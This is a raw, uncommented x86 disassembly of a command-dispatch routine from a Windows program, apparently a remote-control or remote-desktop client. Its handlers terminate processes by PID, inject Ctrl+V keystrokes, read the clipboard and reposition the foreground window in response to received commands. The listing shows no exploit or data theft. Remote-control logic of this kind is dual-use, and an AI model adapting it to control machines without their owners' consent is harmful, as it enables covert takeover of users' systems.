mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x547678], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 0xc
and eax, 0xf
mov dword [0x53d4a8], eax
cmp dword [0x547680], 0
jle 0x4e1f28
mov eax, dword [0x547680]
mov dword [0x53d4ac], eax
jmp 0x4e1f3e
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 8
and eax, 0xf
mov dword [0x53d4ac], eax
call fcn.004d8668
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x18]
and al, 0xf
mov byte [0x547668], al
test ebx, ebx
jle 0x4e1f60
mov eax, ebx
call fcn.004dea28
shl eax, 2
mov dword [0x53d4a4], eax
jmp 0x4e1f6f
mov eax, ebx
call fcn.004dea28
shl eax, 3
mov dword [0x53d4a4], eax
mov eax, dword [0x53d4a4]
test eax, eax
jns 0x4e1f7b
add eax, 3
sar eax, 2
call fcn.004030b8
mov edx, eax
neg eax
add eax, eax
mov dword [0x53d48c], eax
mov byte [0x5476b4], 1
jmp 0x4e2045
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [0x53d4a8], eax
cmp dword [0x53d4a8], 2
jne 0x4e1fce
call fcn.0046efcc
fcomp dword [0x4e5e14]
fnstsw ax
sahf
jbe 0x4e1fce
mov dword [0x53d4a8], 3
cmp dword [0x547680], 0
jle 0x4e1fe3
mov eax, dword [0x547680]
mov dword [0x53d4ac], eax
jmp 0x4e1ff9
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 8
and eax, 0xf
mov dword [0x53d4ac], eax
call fcn.004d8668
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 0xf
mov byte [0x547668], al
cmp dword [0x5476b0], 0xb259
ja 0x4e2020
mov eax, ebx
call fcn.004dea28
mov dword [0x53d4a4], eax
jmp 0x4e202a
mov dword [0x53d4a4], 0x3e8
mov dword [0x53d48c], 0xfffffffe
call sub.user32.dll_GetClipboardSequenceNumber
mov dword [0x53da7c], eax
xor eax, eax
mov dword [0x547684], eax
cmp byte [0x5476b4], 0
je 0x4e2057
cmp byte [0x5476b5], 0
je 0x4e2077
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004b4f34
test al, al
je 0x4e2077
call fcn.004b50e4
cmp dword [0x53d4ac], 3
je 0x4e2085
call fcn.004d1984
cmp dword [0x53d4ac], 4
je 0x4e2093
call fcn.004d3250
cmp dword [0x547854], 3
jne 0x4e20d0
movsx eax, byte [0x53d464]
mov edx, dword [0x53d4a4]
call fcn.004d26d0
cmp dword [0x53d4ac], 5
je 0x4e20c1
or eax, 0xffffffff
call fcn.004d2638
jmp 0x4e20f5
mov edx, 2
or eax, 0xffffffff
call fcn.004d2664
jmp 0x4e20f5
cmp dword [0x53d4ac], 5
je 0x4e20e0
call fcn.004d1ff8
jmp 0x4e20f5
mov eax, dword [0x53eb38]
cmp dword [eax], 0xffffffd8
jge 0x4e20f5
mov eax, dword [0x53eb38]
mov dword [eax], 0xffffffd8
cmp byte [0x53d468], 0
jne 0x4e22da
mov dl, 1
mov eax, dword [0x422298]
call fcn.004288d4
mov dword [0x54766c], eax
mov dl, 7
mov eax, dword [0x54766c]
call fcn.00429e4c
mov dl, 1
mov eax, dword [0x422298]
call fcn.004288d4
mov dword [0x547670], eax
mov dl, 7
mov eax, dword [0x547670]
call fcn.00429e4c
cmp dword [0x53d47c], 0
jne 0x4e2156
mov dl, 1
mov eax, dword [0x414544]
call fcn.0040377c
mov dword [0x53d47c], eax
cmp dword [0x53d480], 0
jne 0x4e2170
mov dl, 1
mov eax, dword [0x473938]
call fcn.00473ad0
mov dword [0x53d480], eax
cmp dword [0x53d484], 0
jne 0x4e218a
mov dl, 1
mov eax, dword [0x414e98]
call fcn.0040377c
mov dword [0x53d484], eax
mov eax, dword [0x53eeb8]
cmp dword [eax], 0
jne 0x4e21a8
mov dl, 1
mov eax, dword [0x414544]
call fcn.0040377c
mov edx, dword [0x53eeb8]
mov dword [edx], eax
mov eax, dword [0x53e7bc]
cmp dword [eax], 0
jne 0x4e21c6
mov dl, 1
mov eax, dword [0x473938]
call fcn.00473ad0
mov edx, dword [0x53e7bc]
mov dword [edx], eax
mov eax, dword [0x53e41c]
cmp dword [eax], 0
jne 0x4e21e4
mov dl, 1
mov eax, dword [0x414544]
call fcn.0040377c
mov edx, dword [0x53e41c]
mov dword [edx], eax
mov eax, dword [0x53e888]
cmp dword [eax], 0
jne 0x4e2202
mov dl, 1
mov eax, dword [0x473938]
call fcn.00473ad0
mov edx, dword [0x53e888]
mov dword [edx], eax
mov eax, dword [0x53e84c]
cmp byte [eax], 0
jne 0x4e22b3
push 0
push 3
lea eax, [ebp - 0x928]
mov edx, dword [0x53e8c0]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x928]
mov edx, 0x4e5e20
call fcn.0046d71c
mov dword [ebp - 0x50], eax
xor edx, edx
mov eax, dword [ebp - 0x50]
call fcn.004adf5c
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov edx, dword [0x53e894]
mov dword [edx], eax
push 0
push 3
lea eax, [ebp - 0x92c]
mov edx, dword [0x53e8c0]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0x92c]
mov edx, 0x4e5e38
call fcn.0046d71c
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e22ab
dec dword [ebp - 0x50]
mov cl, 1
mov dl, 1
mov eax, dword [0x4f926c]
call fcn.0041f2c8
mov edx, dword [ebp - 0x50]
mov dword [eax + 0x30], edx
call fcn.0041f614
cmp dword [ebp - 0x50], 0
jg 0x4e2289
mov eax, dword [0x53e84c]
mov byte [eax], 1
mov word [0x53d360], 0
xor eax, eax
mov dword [0x547698], eax
xor eax, eax
mov dword [0x53d4bc], eax
xor eax, eax
mov dword [0x5476d0], eax
mov byte [0x53d468], 0xff
jmp 0x4e22e6
xor edx, edx
mov eax, dword [0x547670]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x53d46c], 0
cmp dword [0x53d4a4], 0x32
jge 0x4e232c
cmp dword [0x53d4a8], 3
je 0x4e232c
mov dword [0x547658], 0xffffffff
mov dword [0x54765c], 0xffffffff
mov dword [0x547660], 0xffffffff
mov dword [0x547664], 0xffffffff
jmp case.0x4df632.10
mov dword [0x547658], 0
mov dword [0x54765c], 0
mov dword [0x547660], 0
mov dword [0x547664], 0
jmp case.0x4df632.10
mov byte [0x53d46c], 1
mov dword [0x53d4a4], 0x7d0
jmp case.0x4df632.10
cmp byte [0x53d468], 0
je case.0x4df632.10
mov byte [0x53d468], 0
mov byte [0x53d478], 0
mov dword [0x53d4a4], 0x7d0
xor word [0x547654], 0x1a0a
jmp 0x4e23ab
call fcn.004de9b8
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x53e9a4]
cmp dword [eax], 0
jg 0x4e239f
mov eax, dword [0x54766c]
call fcn.004037ac
mov eax, dword [0x547670]
call fcn.004037ac
mov eax, 0x53d488
call fcn.0040e2d0
call fcn.004df35c
cmp byte [0x53dab8], 0
jne 0x4e23f0
call fcn.004d3978
call fcn.004d4c2c
call fcn.004d5388
call fcn.004d3250
call fcn.004d1984
cmp dword [0x547854], 3
jne 0x4e240d
or eax, 0xffffffff
call fcn.004d2638
jmp 0x4e2412
call fcn.004d1ff8
call fcn.004f9628
jmp case.0x4df632.10
cmp byte [0x53d468], 0
je case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x50], eax
cmp byte [0x53d478], 0
jne 0x4e245e
cmp dword [ebp - 0x50], 2
jne 0x4e245e
call fcn.0046efcc
fcomp dword [0x4e5e14]
fnstsw ax
sahf
jbe 0x4e245e
mov dword [ebp - 0x50], 3
mov eax, dword [0x53d4a8]
cmp eax, dword [ebp - 0x50]
je 0x4e248d
mov eax, dword [ebp - 0x50]
mov dword [0x53d4a8], eax
cmp dword [0x53d4a8], 2
jl 0x4e248d
mov dword [0x547658], 0
mov dword [0x54765c], 0
cmp dword [0x547680], 0
jle 0x4e24a2
mov eax, dword [0x547680]
mov dword [0x53d4ac], eax
jmp 0x4e24b8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 8
and eax, 0xf
mov dword [0x53d4ac], eax
call fcn.004d8668
cmp dword [0x53d4ac], 3
je 0x4e24c6
call fcn.004d1984
cmp dword [0x53d4ac], 4
je 0x4e24d4
call fcn.004d3250
cmp dword [0x547854], 3
jne 0x4e2511
movsx eax, byte [0x53d464]
mov edx, dword [0x53d4a4]
call fcn.004d26d0
cmp dword [0x53d4ac], 5
je 0x4e2502
or eax, 0xffffffff
call fcn.004d2638
jmp 0x4e2536
mov edx, 2
or eax, 0xffffffff
call fcn.004d2664
jmp 0x4e2536
cmp dword [0x53d4ac], 5
je 0x4e2521
call fcn.004d1ff8
jmp 0x4e2536
mov eax, dword [0x53eb38]
cmp dword [eax], 0xffffffd8
jge 0x4e2536
mov eax, dword [0x53eb38]
mov dword [eax], 0xffffffd8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0x1f
mov ebx, dword [eax*4 + 0x53d934]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 8
and al, 1
mov byte [0x5476b4], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
shr eax, 9
and al, 1
mov byte [ebp - 0xf9], al
cmp byte [ebp - 0xf9], 0
jne 0x4e2577
mov byte [0x53d464], 0
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 0xf
mov byte [0x547668], al
cmp byte [0x53d478], 0
je 0x4e25ba
test ebx, ebx
jle 0x4e25a2
mov eax, ebx
call fcn.004dea28
shl eax, 2
mov dword [0x53d4a4], eax
jmp 0x4e25b1
mov eax, ebx
call fcn.004dea28
shl eax, 3
mov dword [0x53d4a4], eax
mov byte [0x5476b4], 1
jmp 0x4e25de
cmp dword [0x5476b0], 0xb259
ja 0x4e25d4
mov eax, ebx
call fcn.004dea28
mov dword [0x53d4a4], eax
jmp 0x4e25de
mov dword [0x53d4a4], 0x3e8
cmp byte [0x5476b4], 0
je 0x4e25f4
cmp byte [0x5476b5], 0
je case.0x4df632.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004b4f34
test al, al
je case.0x4df632.10
call fcn.004b50e4
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x10]
and ax, 0xffff
mov word [0x547654], ax
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [0x5476b8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [0x5476bc], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 0xffff
mov dword [0x5476c0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
mov dword [0x5476c4], eax
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
and eax, 0xffff
mov dword [0x5476c8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov dword [0x5476cc], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
and eax, 0xffff
mov dword [0x5476d0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
mov dword [0x5476d4], eax
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0
je 0x4e26ed
lea eax, [ebp - 0x930]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0x930]
mov dx, word [0x4e5e00]
mov al, 1
call fcn.004aee98
jmp case.0x4df632.10
xor ecx, ecx
mov dx, word [0x4e5e44]
xor eax, eax
call fcn.004aee98
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
xor dl, 1
mov eax, dword [0x53ec98]
mov eax, dword [eax]
mov eax, dword [eax + 0x300]
call fcn.0044f49c
jmp case.0x4df632.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045de20
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4df632.10
lea eax, [ebp - 0x938]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov eax, dword [ebp - 0x938]
lea edx, [ebp - 0x934]
call fcn.00408e1c
mov edx, dword [ebp - 0x934]
mov eax, 0x547888
call fcn.0040460c
push 0
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045de20
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4df632.10
lea eax, [ebp - 0x64]
call fcn.004045b8
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0x9f
jne 0x4e27bf
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 4], 0x20
jle 0x4e27bf
lea edx, [ebp - 0x64]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4e27e6
cmp eax, 0xffffffff
je 0x4e27e6
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045de20
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x64], 0
je case.0x4df632.10
lea eax, [ebp - 0x40]
mov edx, dword [ebp - 0x64]
call fcn.00404650
jmp 0x4e0273
mov eax, dword [ebp - 0x28]
call fcn.004dce94
jmp case.0x4df632.10
lea edx, [ebp - 0x93c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov edx, dword [ebp - 0x93c]
mov eax, 0x547804
call fcn.00404e90
mov dl, 1
mov eax, dword [0x547804]
call fcn.004f552c
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4df632.10
mov byte [0x53d3cc], 2
call fcn.004d9240
call fcn.004d9c08
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047c9e8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ece90
jmp case.0x4df632.10
cmp dword [0x547580], 0
je case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x547580]
je case.0x4df632.10
mov edx, 3
mov eax, dword [0x5477d8]
call fcn.004f2a50
jmp case.0x4df632.10
lea edx, [ebp - 0x74]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f50
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xaf
jne 0x4e2917
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x28]
call fcn.004f00e0
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xae
jne 0x4e296d
mov edx, dword [ebp - 0x74]
mov eax, 0x4e5e50
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle case.0x4df632.10
lea eax, [ebp - 0x940]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x74]
call fcn.00404ae4
mov eax, dword [ebp - 0x940]
or edx, 0xffffffff
call fcn.004094cc
call fcn.004f01e4
jmp case.0x4df632.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xb4
jne 0x4e298f
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x5477e4]
call fcn.004048d8
jmp 0x4e0273
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0xb5
jne case.0x4df632.10
lea eax, [ebp - 0x40]
mov ecx, dword [ebp - 0x74]
mov edx, dword [0x5477e4]
call fcn.004048d8
jmp 0x4e0273
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045de20
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4df632.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4df632.10
lea eax, [ebp - 0x1d4]
push eax
push ebx
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1cc]
sub eax, dword [ebp - 0x1d4]
mov edx, dword [ebp - 0x1c8]
sub edx, dword [ebp - 0x1d0]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1d4]
and ecx, 0xffff
mov eax, dword [ebp - 0x1d0]
shl eax, 0x10
or ecx, eax
mov edx, 0xf8
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4df632.10
mov eax, dword [ebp - 0x2c]
mov si, word [eax + 0x10]
and si, 0xffff
movsx esi, si
mov eax, dword [ebp - 0x2c]
mov edi, dword [eax + 0x10]
shr edi, 0x10
movsx edi, di
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x58], eax
push 0
mov eax, dword [ebp - 0x58]
push eax
mov eax, dword [ebp - 0x54]
push eax
push edi
push esi
push 0
push ebx
call sub.user32.dll_SetWindowPos
jmp case.0x4df632.10
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je case.0x4df632.10
push 0
lea eax, [ebp - 0x1f4]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1d4]
push eax
push ebx
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 9
ja case.0x4e2ae3.0
jmp dword [eax*4 + 0x4e2aea]
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1e0], eax
jmp 0x4e2d29
mov eax, dword [ebp - 0x1ec]
sub eax, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x1cc]
sub edx, dword [ebp - 0x1d4]
sub eax, edx
sar eax, 1
jns 0x4e2b50
adc eax, 0
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1e0], eax
jmp 0x4e2d29
mov eax, dword [ebp - 0x1cc]
sub eax, dword [ebp - 0x1d4]
mov edx, dword [ebp - 0x1ec]
sub edx, eax
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1e0], eax
jmp 0x4e2d29
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e8]
sub eax, dword [ebp - 0x1f0]
mov edx, dword [ebp - 0x1c8]
sub edx, dword [ebp - 0x1d0]
sub eax, edx
sar eax, 1
jns 0x4e2bc5
adc eax, 0
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1e0], eax
jmp 0x4e2d29
mov eax, dword [ebp - 0x1cc]
sub eax, dword [ebp - 0x1d4]
mov edx, dword [ebp - 0x1ec]
sub edx, eax
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x1e8]
sub eax, dword [ebp - 0x1f0]
mov edx, dword [ebp - 0x1c8]
sub edx, dword [ebp - 0x1d0]
sub eax, edx
sar eax, 1
jns 0x4e2c11
adc eax, 0
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1e0], eax
jmp 0x4e2d29
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1c8]
sub eax, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1e8]
sub edx, eax
mov dword [ebp - 0x1e0], edx
jmp 0x4e2d29
mov eax, dword [ebp - 0x1ec]
sub eax, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x1cc]
sub edx, dword [ebp - 0x1d4]
sub eax, edx
sar eax, 1
jns 0x4e2c6e
adc eax, 0
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1c8]
sub eax, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1e8]
sub edx, eax
mov dword [ebp - 0x1e0], edx
jmp 0x4e2d29
mov eax, dword [ebp - 0x1cc]
sub eax, dword [ebp - 0x1d4]
mov edx, dword [ebp - 0x1ec]
sub edx, eax
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x1c8]
sub eax, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x1e8]
sub edx, eax
mov dword [ebp - 0x1e0], edx
jmp 0x4e2d29
mov eax, dword [ebp - 0x1ec]
sub eax, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x1cc]
sub edx, dword [ebp - 0x1d4]
sub eax, edx
sar eax, 1
jns 0x4e2cf0
adc eax, 0
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e8]
sub eax, dword [ebp - 0x1f0]
mov edx, dword [ebp - 0x1c8]
sub edx, dword [ebp - 0x1d0]
sub eax, edx
sar eax, 1
jns 0x4e2d1d
adc eax, 0
add eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x1e0], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1e0]
push eax
mov eax, dword [ebp - 0x1e4]
push eax
push 0
push ebx
call sub.user32.dll_SetWindowPos
jmp case.0x4df632.10
mov eax, dword [0x53e924]
cmp dword [eax], 0
jne 0x4e2d75
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
call fcn.004b087c
test eax, eax
je case.0x4df632.10
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab8
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
lea edx, [ebp - 0x944]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x944]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e5c
pop eax
call fcn.0046cc38
lea edx, [ebp - 0x948]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x948]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e70
pop eax
call fcn.0046cc38
lea eax, [ebp - 0x94c]
call fcn.00471b44
mov eax, dword [ebp - 0x94c]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x53ee7c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e2f2c
mov eax, dword [0x547568]
call fcn.0046dd20
test al, al
je 0x4e2f2c
lea edx, [ebp - 0x950]
mov eax, 0x83
call fcn.004ab720
mov eax, dword [ebp - 0x950]
push eax
lea edx, [ebp - 0x954]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x954]
push eax
lea eax, [ebp - 0x958]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0x958]
pop eax
pop edx
call fcn.0046c2e8
call fcn.0040b118
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0x95c]
mov eax, 0x84
call fcn.004ab720
mov eax, dword [ebp - 0x95c]
push eax
lea edx, [ebp - 0x960]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x960]
pop edx
call fcn.0046c780
lea edx, [ebp - 0x964]
mov eax, 0x85
call fcn.004ab720
mov eax, dword [ebp - 0x964]
push eax
lea edx, [ebp - 0x968]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x968]
pop edx
call fcn.0046d0d8
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab9
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
mov edx, 5
xor eax, eax
call fcn.004f2a50
jmp case.0x4df632.10
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3aba
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
mov eax, dword [0x53e924]
cmp dword [eax], 0
jne 0x4e2f78
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
cmp byte [0x53db54], 0
jne 0x4e30ee
call fcn.004b09b8
test eax, eax
jne 0x4e30ee
lea edx, [ebp - 0x96c]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x96c]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e5c
pop eax
call fcn.0046cc38
lea edx, [ebp - 0x970]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x970]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e5e70
pop eax
call fcn.0046cc38
mov eax, dword [0x53eb04]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e30ee
mov eax, dword [0x53e8cc]
cmp byte [eax], 0
je 0x4e302d
mov eax, dword [0x53e8cc]
mov al, byte [eax]
call fcn.004b08a8
test eax, eax
jne 0x4e302d
mov eax, dword [0x53e8cc]
mov al, byte [eax]
xor ecx, ecx
mov edx, 2
call fcn.004b0e44
lea edx, [ebp - 0x974]
mov eax, 0x83
call fcn.004ab720
mov eax, dword [ebp - 0x974]
push eax
lea edx, [ebp - 0x978]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x978]
pop edx
call fcn.0046d0d8
lea edx, [ebp - 0x97c]
mov eax, 0x84
call fcn.004ab720
mov eax, dword [ebp - 0x97c]
push eax
lea edx, [ebp - 0x980]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x980]
pop edx
call fcn.0046d0d8
lea edx, [ebp - 0x984]
mov eax, 0x85
call fcn.004ab720
mov eax, dword [ebp - 0x984]
push eax
lea edx, [ebp - 0x988]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x988]
pop edx
call fcn.0046d0d8
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3abb
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
mov edx, 5
xor eax, eax
call fcn.004f2a50
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3abc
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dc870
jmp case.0x4df632.10
call fcn.004b087c
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x4e3243
cmp byte [0x53db54], 0
jne 0x4e3243
xor eax, eax
push ebp
push 0x4e323c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53db54], 1
call fcn.004b09b8
test eax, eax
jne 0x4e3227
push 0x7f
lea eax, [ebp - 0x274]
push eax
mov eax, dword [0x53eb64]
mov eax, dword [eax]
call eax
test eax, eax
jne 0x4e31a5
lea eax, [ebp - 0x7c]
lea edx, [ebp - 0x274]
mov ecx, 0x80
call fcn.00404820
mov dword [ebp - 0x50], 2
jmp 0x4e3196
lea edx, [ebp - 0x7c]
mov ecx, dword [ebp - 0x50]
mov eax, 0x4e5dc0
call fcn.00404b6c
add dword [ebp - 0x50], 2
mov eax, dword [ebp - 0x7c]
call fcn.0040488c
cmp eax, dword [ebp - 0x50]
jge 0x4e3182
jmp 0x4e31b2
lea eax, [ebp - 0x7c]
mov edx, 0x4e5e88
call fcn.00404650
mov eax, dword [0x53e61c]
push dword [eax]
push 0x4e5e94
push dword [ebp - 0x7c]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040494c
push dword [ebp - 0x7c]
push 0x4e5e94
lea edx, [ebp - 0x990]
mov eax, 0x85
call fcn.004ab720
mov eax, dword [ebp - 0x990]
push eax
lea edx, [ebp - 0x994]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x994]
pop edx
call fcn.0046ce5c
lea edx, [ebp - 0x98c]
call fcn.004093f0
push dword [ebp - 0x98c]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040494c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e3243
mov byte [0x53db54], 0
ret
lea edx, [ebp - 0x998]
mov eax, 0x84
call fcn.004ab720
mov eax, dword [ebp - 0x998]
push eax
lea edx, [ebp - 0x99c]
mov eax, 0x11a
call fcn.004ab720
mov eax, dword [ebp - 0x99c]
pop edx
